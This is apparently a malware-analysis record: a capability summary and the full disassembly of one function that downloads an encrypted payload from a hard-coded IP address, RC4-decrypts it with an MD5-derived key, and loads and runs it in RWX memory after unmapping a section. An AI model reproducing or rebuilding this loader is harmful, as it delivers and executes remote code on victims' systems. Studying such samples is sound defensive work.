Function at 0x140001310
Capabilities:
Allocate or change rwx memory
Create http request
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt
Parse pe header
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor r15d, r15d
lea rcx, str.DownloadFile
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
mov r14d, r15d
mov edi, r15d
lea edx, [r15 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r13, [r15 - 1]
mov rsi, rax
test rax, rax
je 0x140001421
mov qword [rsp + 0x28], r15
lea rdx, str.http:__45.76.216.220:8000_index
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140001418
mov ecx, 0x400
mov dword [rsp + 0x5c], r15d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x14000140f
lea r9, [rsp + 0x5c]
mov r8d, 0x400
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000140f
nop dword [rax]
mov eax, dword [rsp + 0x5c]
test eax, eax
je 0x14000140f
add edi, eax
mov rcx, r14
mov edx, edi
add edx, 0x400
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov edx, edi
lea r9, [rsp + 0x5c]
add rdx, rax
mov r8d, 0x400
mov rcx, rbx
mov r14, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400013d0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r9d, 1
mov qword [rsp + 0xb0], rbp
lea r8, str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
mov qword [rsp + 0x70], r15
xor edx, edx
mov dword [rsp + 0x20], r15d
lea rcx, [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov r12d, 0x5a4d
test eax, eax
je 0x1400015f5
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8003
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400015e8
lea rcx, str.MmNz5Gnc5Utk
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x60]
lea rdx, str.MmNz5Gnc5Utk
mov r8d, eax
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400015dd
mov r8, qword [rsp + 0x60]
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
mov r9d, 0x800000
mov edx, 0x6801
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400015dd
mov ebp, r15d
mov rbx, r15
mov esi, r15d
test edi, edi
je 0x14000157d
mov r12d, 0x3e8
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x70]
mov eax, edi
sub eax, esi
mov r15d, esi
cmp eax, r12d
cmova eax, r12d
add r15, r14
mov dword [rsp + 0x58], eax
xor r9d, r9d
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001574
mov edx, ebp
mov rcx, rbx
add edx, dword [rsp + 0x58]
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x140001574
mov r8d, dword [rsp + 0x58]
mov rdx, r15
mov ecx, ebp
mov rbx, rax
add rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add ebp, dword [rsp + 0x58]
add esi, dword [rsp + 0x58]
cmp esi, edi
jb 0x140001500
xor r15d, r15d
mov r12d, 0x5a4d
test rbx, rbx
je 0x1400015f8
movzx ecx, word [rbx]
cmp cx, r12w
je 0x140001590
mov r13, r15
jmp 0x1400015af
movsxd rax, dword [rbx + 0x3c]
cmp eax, 0x400
jle 0x1400015a0
mov r13, r15
jmp 0x1400015af
cmp dword [rbx + rax], 0x4550
lea r13, [rbx + rax]
cmovne r13, r15
cmp cx, r12w
jne 0x1400015fb
movsxd rax, dword [rbx + 0x3c]
cmp eax, 0x400
jg 0x1400015fb
cmp dword [rbx + rax], 0x4550
lea rsi, [rbx + rax]
jne 0x1400015fb
add rsi, 0xb0
cmp dword [rsi], 0
cmove rsi, r15
jmp 0x1400015fe
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbx, r15
mov r13, r15
mov rsi, r15
mov r14, qword [r13 + 0x30]
lea rcx, str.ntdll.dll
mov qword [rsp + 0x30], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [r13 + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov edx, dword [r13 + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14000167c
test rsi, rsi
je 0x140001675
mov edx, dword [r13 + 0x50]
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14000167c
xor al, al
jmp 0x140001816
mov r8d, dword [r13 + 0x54]
mov rdx, rbx
mov rcx, rdi
mov qword [r13 + 0x30], rdi
call sub.VCRUNTIME140.dll_memcpy
mov ebp, r15d
cmp r15w, word [r13 + 6]
jae 0x1400016c3
lea rsi, [r13 + 0x11c]
mov edx, dword [rsi]
mov ecx, dword [rsi - 8]
add rdx, rbx
mov r8d, dword [rsi - 4]
add rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [r13 + 6]
lea rsi, [rsi + 0x28]
inc ebp
cmp ebp, eax
jl 0x1400016a0
mov rcx, rdi
call fcn.140001060
cmp rdi, r14
je 0x14000180d
mov r8d, dword [r13 + 0x50]
mov qword [rsp + 0x40], r8
test rdi, rdi
je 0x14000180d
cmp word [rdi], r12w
jne 0x14000180d
movsxd rax, dword [rdi + 0x3c]
cmp eax, 0x400
jg 0x14000180d
cmp dword [rax + rdi], 0x4550
jne 0x14000180d
mov ecx, dword [rax + rdi + 0xb0]
test ecx, ecx
je 0x14000180d
mov eax, dword [rax + rdi + 0xb4]
mov r12, r15
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rcx
test rax, rax
je 0x14000180d
nop dword [rax + rax]
lea r14, [r12 + rcx]
add r14, rdi
mov eax, dword [r14]
test eax, eax
je 0x14000180d
mov ecx, dword [r14 + 4]
test ecx, ecx
je 0x14000180d
lea r15, [rcx - 8]
mov qword [rsp + 0x38], rax
shr r15, 1
lea rsi, [r14 + 8]
mov ecx, eax
mov ebp, 0
je 0x1400017d6
nop word [rax + rax]
movzx edx, word [rsi]
mov eax, edx
and edx, 0xfff
add rdx, rcx
shr rax, 0xc
test rax, rax
je 0x1400017d6
cmp rax, 3
jne 0x1400017fc
cmp rdx, r8
jae 0x1400017ee
lea rbx, [rdx + rdi]
mov rdx, rbx
lea rcx, str._____V__Apply_Reloc_Field_at__x_n
call fcn.140001860
mov rcx, qword [rsp + 0x38]
mov rax, rdi
sub rax, qword [rsp + 0x30]
add rsi, 2
add qword [rbx], rax
inc rbp
mov r8, qword [rsp + 0x40]
cmp rbp, r15
jb 0x140001780
mov eax, dword [r14 + 4]
add r12, rax
cmp r12, qword [rsp + 0x48]
jae 0x14000180d
mov rcx, qword [rsp + 0x50]
jmp 0x140001740
lea rcx, str.________Out_of_Bound_Field:__lx_n
call fcn.140001860
jmp 0x14000180d
mov r8d, eax
lea rcx, str.________Not_supported_relocations_format_at__d:__d_n
mov edx, ebp
call fcn.140001860
mov eax, dword [r13 + 0x28]
add rax, rdi
call rax
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001b50
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret